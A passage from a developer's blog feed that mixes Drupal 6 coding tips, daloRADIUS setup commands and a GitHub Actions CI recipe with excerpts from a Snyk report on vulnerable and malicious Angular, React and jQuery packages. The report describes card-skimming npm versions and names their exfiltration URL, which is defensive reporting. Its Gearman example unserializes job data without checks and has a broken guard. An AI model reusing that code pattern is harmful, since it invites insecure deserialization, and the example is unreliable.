1. This happens either in a developer’s custom code when executing db_query() and then wrapping it with db_rewrite_sql(), which re-structure your SQL to join the node_access table for node records (if you’re not wrapping your queries when fetching node information for users you’re doing it “wrong”, bypassing any underlying ACLs).
2. The Views module is an administrative GUI which yields a database query that fetches relevant data and then themes it. The Views module does not perform a node_load() for each node in the generated result-set (for obvious performance reasons) which is why it’s also using internally db_rewrite_sql() for the actual generated result.

As you may have realized by now, it doesn’t really matter if you’re doing a node_load() or a custom database query, in either case the underlying node access system is involved in the process of determining access.

Restricting Drupal’s upload module to N attachments

Thu, 08 Nov 2012 00:00:00 GMT

If you’ve enabled the node attachments support in Drupal 6 and needed to limit it’s use for only allowing to attach one file per node and didn’t know how then this post is for you.

You can also achieve the same thing with the CCK’s FileField module by attaching it and setting the field to appear once instead of ‘Unlimited’ though there may be cases where you just don’t want or can’t use that CCK field and revert to Drupal’s upload module:

It has site-wide settings for things like quote per user, per role, size of files to be uploaded and such while with the CCK FileField you’d need to set it per field in each node content type (or re-use the field)
It’s Drupal built-in and has, presumably, better integration than other modules.

Let’s begin a possible solution for this problem:

We’ll define a variable to hold the setting of attachment counts per content type – this promises that the solution is generic enough rather than a dirty hack
While it’s possible to create a new module and use the correct hooks to enforce the required behavior I’ll explain how to patch the upload module for the sake of simpler and shorter post.

Our function to handle the attachment count needs to check the amount of files attached to the node in question as well as alter the form elements so we obviously need these 2 items.

The logic for this function is pretty straight-forward, if such limit is defined for a given content type and is set to 1 attachment item then we remove the ‘Attach’ ajax button so it’s only possible to choose a file but not yet to upload it to the server (it will be saved/uploaded with the form submit). If on the other hand a higher limit is set then we count how many items are set in the $node->files array (without the possible stale ‘upload’ array) and based on that choose to remove the whole attachment wrapper altogether from the form (which is stored in $form['new']):

function _upload_limits_attachment_count_set(&$form, &$node) {

$upload_limits_attachment_count = (int) variable_get('upload_limits_attachment_count_'.$node->type);

// Remove the upload element from the array which get sets if user decides to delete a node
unset($node->files['upload']);

// If limit is only for one item let's just remove the Attach ajax action
if ($upload_limits_attachment_count == 1) {
unset($form['new']['attach']);
} elseif ($upload_limits_attachment_count > 1) {
// If a larger limit is defined then we check if that limit has reached and disable the option to upload more files altogether
if (count($node->files) >= $upload_limits_attachment_count)
unset($form['new']);
}

}

We’ll have to call this function in the form that handles the ajax call as well as the form that draws for the first time, so effectively calling this function in:

upload_js() function just before the drupal_alter
upload_form() function at the very end, just before the return statement

To do this right we’ll also need to hook into hook_nodeapi() to make sure that the attached files that match and are going to be saved and related to this node are correct. This is more like a security measure to make sure that no one injected files in a programmed manner or manipulated the form somehow manually.
Hooking into nodeapi() then:

/**
* Implementation of hook_nodeapi().
*
* @param &$node The node the action is being performed on.
* @param $op What kind of action is being performed. Possible values: alter, delete, delete revision, insert, load, prepare, prepare translation, print, rss item, search result, presave, update, update index, validate, view
* @param $a3
* @param $a4
*/

function mymodule_nodeapi(&$node, $op, $a3 = NULL, $a4 = NULL) {

$upload_limits_attachment_count = (int) variable_get('upload_limits_attachment_count_'.$node->type, '');

if (!empty($upload_limits_attachment_count)) {
$i = 0;
foreach ($node->files as $key => $value) {
$i++;
if ($i > $upload_limits_attachment_count)
$node->files[$key]['remove'] = 1;
}
}

}

Maintaining states between form submit and node hooks in Drupal 6

Fri, 26 Oct 2012 00:00:00 GMT

With Drupal, it is many times the case where you’d find yourself working with custom forms or alter existing forms through the Form API and end up modifying the submit handler so that you are essentially triggering node_save() yourself.

If you find yourself in such scenario where you are also having conditional actions in an implementation of hook_nodeapi() then you’ll soon enough realize that there is complete isolation between the $form array (or $form_state for that matter), which is available through the various form hooks, to the node handling hooks.

To give a practical example, imagine a case where upon a field property in the form you would like to handle the node saving that you implement in your custom hook_nodeapi() differently. The problem is right there – in your implementation of hook_nodeapi() you don’t get the $form nor any access to it, nor is it possible to pass it in any way.

I guess one way to attack the problem would be to glance into $_POST and take it from there. Now breadth slowly and forget this was ever an option since we are supposed to do things the ‘right way’ and not the ‘easy way’. Leave your quick-and-dirty work to quick-and-dirty situations (and production environment is not one of them).

Solving the issue though isn’t that hard as it looks – we’ll use the $node object as our temporary storage and simply apply attributes to the object. Because the object is passed by reference to node_save() the attribute being used will be available in any of the hook_nodeapi() implementations. You also don’t have to worry about the attribute is it’s not going to be persisted to the database.

Taking a practical example at it, assuming you are modifying an existing node, the code may look something like:

 function mymodule_node_edit_form_submit($form_id, $form_values) {
 $node = node_load(arg(1));
 $node->title = $form_state['values']['title'];
 // ... rest of your code
 // use an attribute to define some state (or actually pass anything from $form if required)
 $node->is_using_x = TRUE
 node_save($node);
 }

Later on in any implementation of hook_nodeapi() the $node object, passed as reference, will maintain $node->is_using_x attribute with whatever payload you’ve set it to.

daloRADIUS VM update

Sat, 13 Oct 2012 00:00:00 GMT

A minimal daloRADIUS VM update for those of you who are still using the original VM you got from the previous daloradius.com blog website – the following commands are necessary to allow the web server user to save settings to daloradius.conf.php as well as add the web server user to the adm group so that it’s able to view log files by freeradius and such.

chown www-data:www-data /var/www/daloradius/library/daloradius.conf.php
usermod -a -G adm www-data

Alter WYSIWYG settings in Drupal

Tue, 09 Oct 2012 00:00:00 GMT

If you deliver content notifications over email and that content may have images attached to it, inline in the message, it will badly display an image source that it can’t find. This is because when the WYSIWYG adds the image to the page it sets the image source to be a relative URL such as /system/files/image_1.jpg.

It’s possible to create an alter hook that changes the init settings passed to the WYSIWYG and making every attached image as a full http:// source link.

/**
 * Implements hook_wysiwyg_editor_settings_alter
 * Alters the WYSIWYG editor settings to make URLs for images be absolute (i.e: prefixed with http://)
 * so that they are also accessible via Email clients.
 */
function my_module_wysiwyg_editor_settings_alter($settings, $context) {
 $settings['convert_urls'] = TRUE;
 $settings['relative_urls'] = FALSE;
 $settings['remove_script_host'] = FALSE;
}

Drupal Commons menu items adjustments

Fri, 05 Oct 2012 00:00:00 GMT

With commons you mostly feel like you’re always eating a mixed salad. You get a lot of Acquia’s custom features and contributed modules, which all of it builds up a specific distribution type.

Salads lose their appeal when you need to dig in and seek for a specific item, which was the case in a recent fiddling with it. Commons provides a ‘bookmarks’ link in the user’s Profile area underneath the user’s avatar, along with a bunch of other links and we needed a way to pull it into the tabbed links menu. One would wonder how to approach that?

Just by looking at the existing menu items, it’s easy to spot that they are all part of the same hierarchy and the menu system. Assuming that the menu items were done sanely, meaning no one at Acquia hard coded these links or used a custom menu hook, then they were probably declared in hook_menu(). Where exactly is another question and while you may choose to seek this out it doesn’t really matter. Lucky for us Drupal declares a hook_menu_alter(), which if you implement in the lowest priority module (read: highest numeric value for module’s weight in the system table) then you can easily throw in there a debug break point that looks at the $items of the menu and locate that particular entry.

Doing that, yields the following (more or less):

[user/%views_arg/bookmarks] => Array
(
[page callback] => views_page
[page arguments] => Array
(
[0] => flag_bookmarks_tab
[1] => page
[2] => 1
)

[access callback] => og_features_menu_access_callback
[access arguments] => Array
(
[0] => views_access
[1] => views_page
[2] => Array
(
[0] => flag_bookmarks_tab
[1] => page
[2] => 1
)

[3] => views
[4] => user/%views_arg/bookmarks
[5] => Array
(
[0] => views_check_roles
[1] => Array
(
[0] => Array
(
[2] => 2
)

)

)

)

[load arguments] => Array
(
[0] => flag_bookmarks_tab
[1] => page
[2] => %index
)

[title] => Bookmarks

As suspected, the bookmarks menu entry is simply not configured as a local task for the tabbed menu. To elegantly customize this you can create such low priority custom module to implement hook_menu_alter(&$items) and alter the menu item type, such as:

 $items['user/%views_arg/bookmarks']['type'] = MENU_LOCAL_TASK;

Clear the cache to test and confirm.

Views MySQL OrderBy – Drupal module

Tue, 02 Oct 2012 00:00:00 GMT

If you’ve ever needed to customize a bit the SQLs in Drupal’s Views module (version 2 for the sake of this argument) you know how much of a pain or ugly-ness is involved. Probably, the first step would be to locate a contributed Views module that would provide the functionality required and then it’s ofcourse required to code review it, make sure it’s properly maintained and not another dead project on Drupal. That’s the “easy way out”.

What if you can’t find one? then you start hooking into dark places like hook_views_pre_build(), hook_views_pre_view() and their sisters, god forbid. Well then, I’ve chosen to go the generic path, that one road that’s less travelled by, and worked out one of those Views contributed modules for your future use.

The use case is requiring to sort a result set by a string field’s values that you defined, which is not ascending or descending. For example, if you wanted to sort a CCK select dropdown field which describes an entity (or node) type, given these values: animal, human, alien. If you wanted to sort the result set listing in an order where animal is first, human later and alien last then using the default DESC or ASC sort order doesn’t really help.

MySQL introduces the ORDER BY FIELD(field_name, field_options...) query signature where it’s possible to specify the field name and (all) of it’s options in exact order that you wish to sort by. If you do not specify all of the field options then you’re in for a surprise because MySQL will sort with the fields you didn’t provide first (it’s possible to mitigate that with specifying the DESC/ASC suffix to the FIELD() function)

The module found it’s way to Drupal, named surprisingly: View MySQL Orderby

Views resources:

Views handler class
Views add_orderby()

Gearman – offloading Drupal tasks to a job server

Thu, 27 Sep 2012 00:00:00 GMT

At work, we’ve recently needed to offload some processing tasks to a background job server. I’ve worked with Gearman prior to my current position at HP as well as prior to my experience with Drupal and I’m happy to see there’s an extension for that available.

About Gearman

Gearman is an all-purpose job server that manages work between distributed workers for client which throw jobs at it. It has libraries implemented in many languages, whether it’s C, PHP, Python and others so you can quickly get started by installing it and the library for your language of choice. Due to this nature, it also allows you to offload processing of complex computational jobs for example, to workers written in C or C++ for efficiency or other reasons which is great as it doesn’t lock you in.

A Gearman module is available for Drupal 6 only (at this time) and is basically a developer’s module as it just provides an API for other modules to hook up and implement their queued job functions. Moreover, it provides a drush interface for both the worker and the client, meaning you can simply run drush gearman-worker from the command line as well as triggering jobs from command line via the drush gearman-client.

To integrate with gearman, it’s required to:

Install the gearman server (work this out with your favorite Linux distribution)
Install the gearman php library which is available through pecl to install
Install the gearman drupal module (http://www.drupal.org/project/gearman)

Defining Gearman job functions

A module needs to implement hook_gearman_drush_function() as follows:

 /**
 * Implementation of hook_gearman_drush_function()
 *
 * @return an associative array with the data for GearmanWorker::addFunction
 * so that a drush-based worker can know about them automatically.
 * 
 * This array has the following parameters
 *
 * - 'function_name': The name of a function to register with the job server 
 * - 'function': A callback that gets called when a job for the registered 
 * function name is submitted 
 * - 'context': A reference to arbitrary application context data that can be 
 * modified by the worker function 
 * - 'timeout': An interval of time in seconds 
 *
 * This implementation has a general function for wrapping other drush commands,
 * as well as the classic "reverse text" example.
*/

function mymodule_gearman_drush_function() {
 return array(
 array(
 'function_name' => 'notifications_send_users',
 'function' => 'mymodule_notifications_send_users',
 ),
 );
}

Where-as the hook implementation simply returns an array with the function names as they are required to be invoked with gearman and the actual function name for the callback (the docblock is pretty self-explaining on that).

Invoking a gearman job from Drupal can be easily done via calling

gearman_drush_client($function_name, $data)

with the function name as string (in context with the example above this would be ‘notifications_send_users’) and the data to send off to do this job as a string.

Hint: go ahead and serialize/jsonify the array/object to make your life easy

With gearman_drush_client() make sure that the job runs in the background via $gmclient->doBackground(); as otherwise you didn’t gain much by running it in blocking mode.

Next up, in the actual gearman job function definition, you can harvest the data payload such as:

/**
* Implements gearman notifications_send_users callback
*
* @param object $job gearman job object
*/
function mymodule_notifications_send_users($job) {
if (isset($job->workload()) && is_array($job->workload())) {
$workload = unserialize($job->workload());
$workload_size = $job->workloadSize();
}
// ... rest of the code
}

If you’ve serialized your objects when sending the job to the queue you’ll want to unserialize the value of

$job->workload();

first.

daloRADIUS new website and offering

Sat, 22 Sep 2012 00:00:00 GMT

After a very long time where I’ve managed daloradius.com as an independent blog I have decided to revert it to a static content website with very little dynamic information, such as hooking it into ohloh and other RSS feeds. In context of this change I’ve also converted the older enginx.com static website content into a Drupal 7 based blog where I’ll post my blogs, daloRADIUS-related among them, where it can be easily captured via the daloradius tags.

Drupal Performance Tip – 'I’m too young to die' – know your DB engines

Invalid Date

Drupal 6 shipped with all tables being MyISAM, and then Drupal 7 changed all that and shipped with all of its tables using the InnoDB database engine. Each one with its own strengths and weaknesses but it’s quite clear that InnoDB will probably perform better for your Drupal site (though it has quite a bit of fine tuning configuration to be tweaked on my.cnf).

Some modules, whether on Drupal 6, or those on Drupal 7 that simply upgraded but didn’t quite review all of their code, might ship with queries like SELECT COUNT() which if you have migrated your tables to InnoDB (or simply using Drupal 7) then this will hinder on database performance. That’s mainly because InnoDB and MyISAM work differently, and where-as this proved as quite a fast responding query being executed on a MyISAM database which uses the main index to store this information, for InnoDB the situation is different and will result in doing a full table scan for the count. Obviously, on an InnoDB configuration running such queries on large tables will result in very poor performance

Note to ponder upon – what about the Views module which uses similar type of COUNT() queries to create the pagination for its views?

The maintainer's CI workflows recipe for a peaceful open source life

Tue, 30 Nov 2021 00:00:00 GMT

My Workflow

My GitHub Actions hackathon application entry is about all the small things that would contribute to a better maintainer life.

Maintainers usually get a good grip on the important things, like making sure they have a workflow that run code style checkers, tests, and that publishes a package to the registry.

Busy with these, they end up forgetting about the small things that are the details, but as important, for example: having a markdown linter in place to ensure no broken documentation.

Can we reach open source maintainer nirvana? I can’t promise you that, but I can promise I will do everything I can to put us on that direction.

With that in mind, I’m suggesting a recipe of several GitHub Actions CI workflows that you can add to your open source repositories at GitHub. I’ve segmented them into specific areas too.

Markdown documentation

This recipe will introduce the following workflows:

Markdown Style linter - Making sure your documentation like the README.md has proper
Markdown Links linter - Making sure your documentation has no broken links

Dependency management

New dependencies advisor - Add a comment in a Pull Request informing of newly added dependencies and their package health

Pull Request engagement

Pull Request title update - Do you manage multiple base branches with PRs to? If you manually updated your PR titles to include this information then now this is automated for you
Pull Request contribution fun note - Welcome contributors to your project by adding a comment that thanks them and embeds an image of a cute animal

Submission Category:

Maintainer Must-Haves

Repository

The following repository demonstrates the workflow this application suggests: https://github.com/lirantal/github-actions-hackathon-actionshackathon21

Additional Resources / Info

The recipe makes use of the following GitHub Actions from the marketplace:

Demo

Let’s put all of it together and see how they add to an overall better experience for both maintainers and contributors alike.

Pull Request title update

As you can see, a few minutes after creating the pull request, the action kicks in and updates the title so that it includes a base branch prefix (the text [main]).

To make that magic happen, we create a brand new GitHub Action workflow file and add this:

name: "PR title update with base branch"
on: [pull_request]

jobs:
  pr_title_update:
    runs-on: ubuntu-latest
    name: "PR title update with base branch"
    steps:
      - name: "PR title update with base branch"
        uses: lirantal/github-action-pr-title-update-branch@main
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Pull Request contribution fun note

Ain’t it cute to get that nice little note? I think so too ;-)

To make that magic happen, we create a brand new GitHub Action workflow file and add this:

New dependency advisor

I can’t stress enough how important is making sure you are using healthy dependencies, and those without security vulnerabilities. How can you tell if a new one someone adds to your project is a liability or a gift?

Luckily, we have the Snyk Advisor, and this handy GitHub Action helping us vet it:

name: "Deps: show dependencies metadata"
on:
  - pull_request

jobs:
  deps_check_new_dependencies:
    runs-on: ubuntu-latest
    steps:
      - name: "Checkout repo for a local instance"
        uses: actions/checkout@v2
        
      - name: "Deps: show dependencies metadata"
        uses: lirantal/github-action-new-dependencies-alerts@v1.1.0
        with:
          token: ${{ secrets.GITHUB_TOKEN }}

Markdown Style linter

If a markdown file doesn’t confirm to proper style conventions then we can find out about it in the Pull Request CI phase rather than after we see it “in production”, or in other words, showing up to the whole world as the face of the repository:

To make that magic happen, we create a brand new GitHub Action workflow file and add this:

on:
  push:

name: "Markdown: style"
jobs:
  markdown_lint:
    name: "Markdown: style"
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: "Markdown: style"
        uses: ruzickap/action-my-markdown-linter@v1
        with:
          config_file: .github/markdown-style-config.yml
          #debug: true
          search_paths: |
            ./
            docs/
          exclude: |
            node_modules/
            coverage/
            dist/
            tests/
            CHANGELOG.md

And make sure that you have the accompanying configuration file for it as such:

# Default state for all rules
default: true

# MD033/no-inline-html - Inline HTML
MD033:
  # Allowed elements
  allowed_elements: ['p', 'br', 'h1', 'h2', 'h3', 'h4', 'a', 'img']
  
# Don't fail on line length limit of 80 chars
MD013: false

# Don't fail on first line of the file not being a markdown heading (maintainers like beautiful READMEs)
MD041: false

Markdown Links linter

Want to avoid broken links in your README? Me too

That’s why I can now find out about it when it happens in the CI process when I push a change via a pull request rather than after the fact:

To make that magic happen, we create a brand new GitHub Action workflow file and add this:

on:
  push:

name: "Markdown: broken links"
jobs:
  markdown-link-check:
    name: "Markdown: broken links"
    runs-on: ubuntu-latest
    steps:
      - name: "Checkout project"
        uses: actions/checkout@v2

      - name: "Markdown: broken links"
        uses: ruzickap/action-my-markdown-link-checker@v1

That’s it, have fun!

Angular vs React: the security risk of indirect dependencies

Wed, 30 Oct 2019 00:01:37 GMT

In this section, we review the security risk of the indirect independencies for both Angular and React, and then we also review the direct dependencies, first for Angular and then for React.

The modules reviewed in this part do not represent a complete list of vulnerable React and Angular modules; some modules may have special naming conventions (such as all modules prefixed , , or for example) that would not appear in the pattern-based search we conducted.

The security risk of indirect dependencies

More often than not, projects based on React or Angular are generated with a scaffolding tool that provides a boilerplate with which to begin developing. With React, the developer go-to practice is to use the create-react-app npm package that creates a pre-configured project starting point, such as by implementing the Jest testing framework, CSS processors and other already built-in tooling. In Angular, this is made possible thanks to the @angular/cli npm package.

To compare the dependency health and state of the security (which reflect the level of overall security risk) for React and Angular boilerplates, we generated a sample project which resulted in rather good news — both of them include development dependencies with vulnerabilities, but neither contain any production dependency security issues.

Following are the security vulnerabilities that are introduced in your code right from the get-go when starting a project by using the Angular or React boilerplate:

It’s worthy to note that Angular relies on 952 dependencies, which contain a total of two vulnerabilities; React relies on 1257 dependencies, containing three vulnerabilities and one potential license compatibility issue.

A note about software licenses in open source

With regards to licensing, we consider license compliance to be an important factor in overall dependency health, in addition to security issues, and for this reason include license checks in our scans as well. The results we received for licensing were based on the default configurations that were defined for our license policies prior to scanning.

Based on those results, we can see that the generated React project has a dependency on the mdn-data package, which in turn makes use of Mozilla’s copyleft license MPL-2.0. If you plan to distribute your React application with on-prem installations or other similar setups that include the mdn-data dependency, then you should check licensing requirements to make sure your project complies.

Additionally, we advise ensuring your projects are scanned based on the advice you receive from your organization’s unique policies, which may or may not raise flags for additional indirect dependencies of React as well.

Remediating vulnerable paths

A path describes how an open source dependency is introduced to your project. For instance, let’s say you have two direct dependencies called Project A and Project B. Both of these projects introduce dependency, Project C. Project C is now associated with two different paths, because it is installed by both Project A and Project B. If Project C includes vulnerabilities, a developer must consider both of these paths in order to remediate the vulnerabilities.

With React, the three vulnerabilities spread over 16,293 vulnerable paths. Remediating the vulnerability via package upgrades becomes a daunting task with so many packages in the dependency chain that require an upgrade. In contrast, both Angular’s vulnerabilities are remediated easily via only two vulnerable paths.

The following image was taken from an August 2019 security scan report for a project generated with React’s create-react-app npm package. The report reveals the dependency chain problem to be addressed for a single security vulnerability.

Remediating the vulnerability requires pulling new versions of lodash from every single one of the affected packages in the entire dependency chain.

Due to the prominent usage of lodash throughout the ecosystem, its vulnerable version is ultimately used by thousands of dependency paths.

Vulnerabilities in the Angular module ecosystem

In the Angular ecosystem, module vulnerabilities manifest themselves in three areas:

Angular ecosystem modules
Malicious versions of modules
Developer tooling When we look at the Angular module ecosystem, we can see the following modules stand out most due to their download counts and associated vulnerabilities:

If we line up the vulnerability types based on the number of downloads of the modules that contain them, we can clearly see that XSS vulnerabilities are at the head of the chart, as is also indicated in the OWASP Top 10 web security risks to watch out for:

Malicious Angular modules

In total, we were able to track down three malicious versions published for the following angular modules: angular-bmap, ng-ui-library, ngx-pica.

angular-bmap is perhaps the least interesting as can be observed in its dependency health page — it features eight published versions all date back to September 2017. Nevertheless, a 0.0.9 version of angular-bmap has been published that includes malicious code that exfiltrates sensitive information related to password and credit cards from forms and sends them off to the attacker controlled URL of https://js-metrics.com/minjs. php?pl=. This malicious 0.0.9 version has been yanked off of the npm registry.

Unlike the Angular bmap module, ng-ui-library is still maintained and features over 150 versions published, seven of them in 2019 alone. However, ng-ui-library version 1.0.987 specifically has been found to contain the same malicious code that we’ve seen in angular-bmap. ng-ui-library still gets nearly 400–3000 downloads a month.

Joining the same malicious code that harvests credit card information is a malicious version of ngx-pica, which is an Angular v5 and Angular v7 compatible module to resize images in the browser, featuring about 800 monthly downloads.

Interestingly enough, all of these malicious versions were only found recently. They were all disclosed in June 2019, even though the malicious code was pushed in a month-old release by that time.

Angular developer tooling

As part of the module ecosystem findings, we spotted one module that is used as a general- purpose HTTP server for serving single-page application resources for projects built with Angular, React, Vue and others.

The module angular-http-server was found vulnerable to directory traversal — twice. Both vulnerable versions are a year old and there are already a half of a dozen newer versions published. Even though the module maintainer clearly states that it is not recommended to use this tool as a production-ready service, downloads for it have been ramping up this year with a recorded downloads count of 20,670 in May 2019.

Due to the growing adoption of this Angular HTTP server developer tool we should point out that there’s a public exploit for this vulnerability.

Vulnerabilities in the React module ecosystem

As with Angular, we found that the React ecosystem includes several malicious modules published at some point. The following represents the distribution of security vulnerability types and their counts across all vulnerable modules that we found, highlighting specifically four malicious packages react-datepicker- plus, react-dates-sc, awesome_react_utility, react- server-native.

All four malicious modules have the same malicious code that harvests credit card and other sensitive information; this attack compromised modules on the React ecosystem as well.

This goes further to emphasize that as a maintainer of an open source project it is critical to enable multi- factor authentication such as 2FA support that the npm package registry supports, to avoid putting your users at risk of someone else compromising your account and publishing malicious versions of your package.

If you haven’t done so yet, we urge you to enable 2FA on your npmjs.org developer account and follow other npm security best practices.

Notable vulnerable modules that we tracked in React’s ecosystem:

A high severity XSS vulnerability in react-marked-markdown which has no fix available, but this react component wrapper around the marked JavaScript markdown library still gets thousands of downloads, totaling 65,790 in the past 12 months.
For the preact users among you, the preact-render-to-string library is vulnerable to Cross-Site Scripting in all versions prior to 3.7.2. This library is growing in usage across the last 12 months and totaling in 3,228,049 downloads for this time-frame.
If you’re doing tooltips in your frontend React application you might be one of the users of react-tooltip which received just shy of one million downloads (994,903) in July 2019 alone. This library however is vulnerable to Cross-Site Scripting attacks for all versions prior to 3.8.1 as was disclosed in September 2018.
If you are working with SVGs a lot, good chances you are using react-svg which features 1,446,442 downloads in the past 12 months. In April 2018 a high severity Cross-Site Scripting vulnerability was disclosed by security researcher Ron Perris affecting all versions prior to 2.2.18.
A CSV Injection vulnerability in mui-datatables disclosed in March 2019. This react library provides a table data related UI component based on the material ui framework and features more than 350,000 downloads in the past 12 months.

When we track all the vulnerable React modules we found, we count eight security vulnerabilities over the last three years with two in 2017, six in 2018 and two up until August 2019. This calls for responsible usage of open source and making sure you find and fix vulnerabilities as quickly as possible.

Spotlight: Next.js security vulnerabilities

Next.js is the popular React framework delivered from ZEIT, empowering web developers to harness their knowledge of React in order to build SEO-friendly web applications, Server-side rendering applications, Progress Web Applications (PWA) and even Electron- based applications, all based on the Next.js framework.

Next.js continues to gain developer adoption, with 8,414,925 downloads over the past 12 months. As the project continues to grow it becomes increasingly important to take a look at its security status.

We tracked three high Directory Traversal vulnerabilities, and two medium severity Cross-Site Scripting vulnerabilities impacting the Next.js React framework during the course of 2017 through 2018. We should also point out that the ZEIT Security team swiftly addressed all five security vulnerabilities and provided a fix through an upgrade path for the Next.js framework within a week’s time.

Overall, ZEIT employs strong security practices that should be replicated by other open source projects. Particularly notable includes:

The team responds quickly to security disclosures by releasing timely security fixes. This translates into a small window during which time there is an actual security risk; ZEIT provides users with an upgrade path so they can quickly mitigate the vulnerability.
To avoid security regressions the team has written security unit tests to ensure that security mistakes do not repeat themselves.
Release notes clearly communicate security-related information, its impact and any steps users are required to follow in order to stay up-to-date with a security fix.
The project maintains a mailing-list dedicated to security reports, a responsible disclosure policy and a dedicated email contact for reporting issues.

ZEIT and their management of the Next.js framework is a great example of good open source security policies; ZEIT takes matters seriously and demonstrates a true commitment to the overall security of their users with policies and actions that should be adopted by others.

Or download the full version of the report in its digital format.

Comparing React and Angular secure coding practices

Wed, 30 Oct 2019 00:01:35 GMT

As a follow-up to Snyk’s State of JavaScript frameworks security report 2019, this section of the report is about Angular and React projects overall security posture.

The full report is available here: https://bit.ly/js-security-report

In this section, we explore both the Angular and the React project security postures. This includes secure coding conventions, built-in in secure capabilities, responsible disclosure policies, and dedicated security documentation for the project.

The following table lays out a few of the security components we found to be essential for best-practice maintenance of any open source package, and an indication of how Angular and React manage said components (if at all).

Comparing React and Angular’s security policy components:

Angular secure coding practices

Angular v2 and later, have a completely different architecture than Angular v1, such as unidirectional data binding. What’s more, the v2 and later versions have left automatic data interpolation via watchers behind, as well as other techniques that were often the cause for many of the Angular v1 security vulnerabilities.

Ahead of Time (AoT) compilation mitigates issues such as Angular templating expression injection and allows for build-time security instead
of run-time security. However, dynamically interpolating templates on the client-side still leaves the door open for security vulnerabilities in the form of Angular code injection. In their own best practices documentation, Angular clearly emphasize that this dynamic interpolating is highly unadvisable. With respect to Angular’s documentation, these are highly discouraged as Angular’s best practices clearly point out.

To mitigate Cross-Site Scripting vulnerabilities, Angular employs by default context-aware output encoding, or malicious code sanitization. Moreover, method naming conventions are much better understood, in terms of their impact, if a developer consciously chooses to use them, as opposed to earlier Angular versions, namely Angular v1.x.

Methods such as bypassSecurityTrustHtml(value) or bypassSecurityTrustUrl() implicitly convey the dangers of using them to insert data into the DOM. Moreso, Angular provides a built-in DomSanitizer to explicitly sanitize values.

React secure coding practices

React by default encodes almost all data values when creating DOM elements. To provide users with an escape hatch to insert HTML content into the DOM, React is equipped with the eloquently-named function dangerouslySetInnerHTML(), clearly conveying the dangers of using it.

Contexts that are unattended by the React security model and are handled by the users include creating:

HTML anchor (link) elements with user- provided input as the source for the href attribute value. This mostly applies to versions prior to the recently released React v16.9 which mitigates javascript:-based URLs in attribute values and other contexts such as form actions, iFrame sources, and others.
React components from user-provided input

React’s server-side rendering could potentially introduce XSS vulnerabilities if malicious user input is injected as-is to a JavaScript context without being properly encoded or sanitized.

HTTP security

Starting with version 1.2, Angular v1.x release branches have introduced compatibility support for Content Security Policy (CSP) which is necessary due to the use of eval() and Function() methodology to interpolate expressions.

Cross-Site Request Forgery (CSRF) enables web applications to trust the origin of a request. In newer Angular versions, CSRF support mechanism is built-in to the HTTP client with the @angular/common/ http module. In Angular v1.x versions similar capability is supported through the $http provider.

Unlike Angular, React doesn’t include an HTTP client and as such, it is unable to provide CSRF support out-of-the-box. As React aims to be a minimalistic view library, handling this concern is up to the developer, using custom code or community-powered modules.

We highly recommend to download the full version of the report in its digital format, but have also made the following general sections available as blog posts:

84% of all websites are impacted by jQuery XSS vulnerabilities

Wed, 30 Oct 2019 00:01:26 GMT

In this blog post we’ll review security vulnerabilities found in other frontend ecosystem projects.

After reviewing Angular and React as major JavaScript frameworks, we’ll take a brief review of selected JavaScript and CSS frameworks: Vue.js, jQuery and Bootstrap.

jQuery security

jQuery took web development by storm a decade ago but since then web development have been revolutionized further with single page application technologies such as Angular, and React. That said, according to W3Techs which regularly run surveys and report on web technology usage jQuery is being used within 73% of websites they scanned in August 2019.

A Snyk study from 2017 further amplifies this when it reported that 77% of sites use at least one vulnerable JavaScript library and pointed out jQuery was detected in 79% of the top 5,000 URLs from Alexa. If you’re still not convinced, npm’s downloads for the jQuery npm module account to 120,641,977 for the last 12 months alone.

In total, we tracked six security vulnerabilities affecting jQuery across all of its releases to date, four of which are medium severity Cross-Site Scripting vulnerabilities, one is a medium severity Prototype Pollution vulnerability, and lastly, one is a low Denial of Service vulnerability. If you’re not using jQuery 3.4.0 and above which was released only recently, on 10th of Apr, 2019, then you are using vulnerable jQuery versions.

Since jQuery is usually found in web applications as a legacy component it is important to also understand its version usage patterns and their state of security.

W3Techs reports that of all websites using jQuery, it’s 1.x release is dominating with 83.4% of share and version 2 and 3 lag far behind with roughly 8% of all jQuery usage. When looking at the known security vulnerabilities and map them out to jQuery versions we found that four medium severity Cross-Site Scripting vulnerabilities are affecting jQuery v1 which is potentially concerning considering the 83.4% market share for anybody not employing software composition analysis to find and fix vulnerabilities in their open source components.

Many websites and web applications will further make use of jQuery libraries to extend the capabilities of jQuery and will turn to community- powered libraries to do so.

We found 13 vulnerable jQuery libraries as provided in the following table and offer the following observations:

Three jQuery libraries are malicious versions of open source community modules. As we can’t account for the downloads of the actual vulnerable versions since this isn’t available from the npm registry, we should call out jquery.js which is a malicious package and accounted for 5,444 downloads in the past 12 months.
jQuery libraries jquery-mobile, jquery-file-upload and jquery-colorbox account to more than 340,000 downloads in the past 12 months, despite including Arbitrary Code Execution and Cross-Site Scripting security vulnerabilities and not having any upgrade path to remediate them.

*malicious packages have no fix information.

I highly recommend to download the full version of the report in its digital format, but have also made the following general sections available as blog posts:

A Snyk peek into Node.js and npm’s state of open source security report 2019

Wed, 09 Oct 2019 14:05:00 GMT

In the State of Open Source Security Report 2019, we set out to measure the pulse of the open source security landscape throughout the different language ecosystems and have analyzed responses from over five hundred open source maintainers and users who provided us with insights into their processes and knowledge of open source security risks as well as the skill level of the average maintainer.

In addition to gaining insights from survey takers, we also analyzed data from multiple public and private sources, including Snyk’s own vulnerability database, to evaluate how security issues differ across languages, how fast it takes users to adopt version upgrades that provide security fixes, and much more. In this year’s report, we also investigated how vulnerabilities impact Docker users, and what you should know to mitigate the security risk.

Run a quick test to check for known vulnerabilities in public GitHub repos and npm packages.

The npm ecosystem

When we checked the Snyk vulnerability database, we identified several vulnerability types that have a unique and significant presence in the JavaScript & Node.js ecosystems. The first family of vulnerability types is Path and Directory Traversal which stand out in the npm ecosystem, with record numbers for both 2017 and 2018–146 and 143 disclosures respectively. The other ecosystems are much further behind, or do I mean ahead? Either way, having less vulnerabilities reported is a good thing for them!

Hundreds of these vulnerabilities can be attributed to the security research work that Snyk performed in collaboration with Liang Gong, a security researcher at Facebook and CS Ph.D. at Berkeley. The research uncovered tens of Directory Traversal vulnerabilities in the npm ecosystem. Furthermore, the research showed that static and dynamic web servers are commonly found in the npm registry, as this is a repeating need for many developer use-cases.

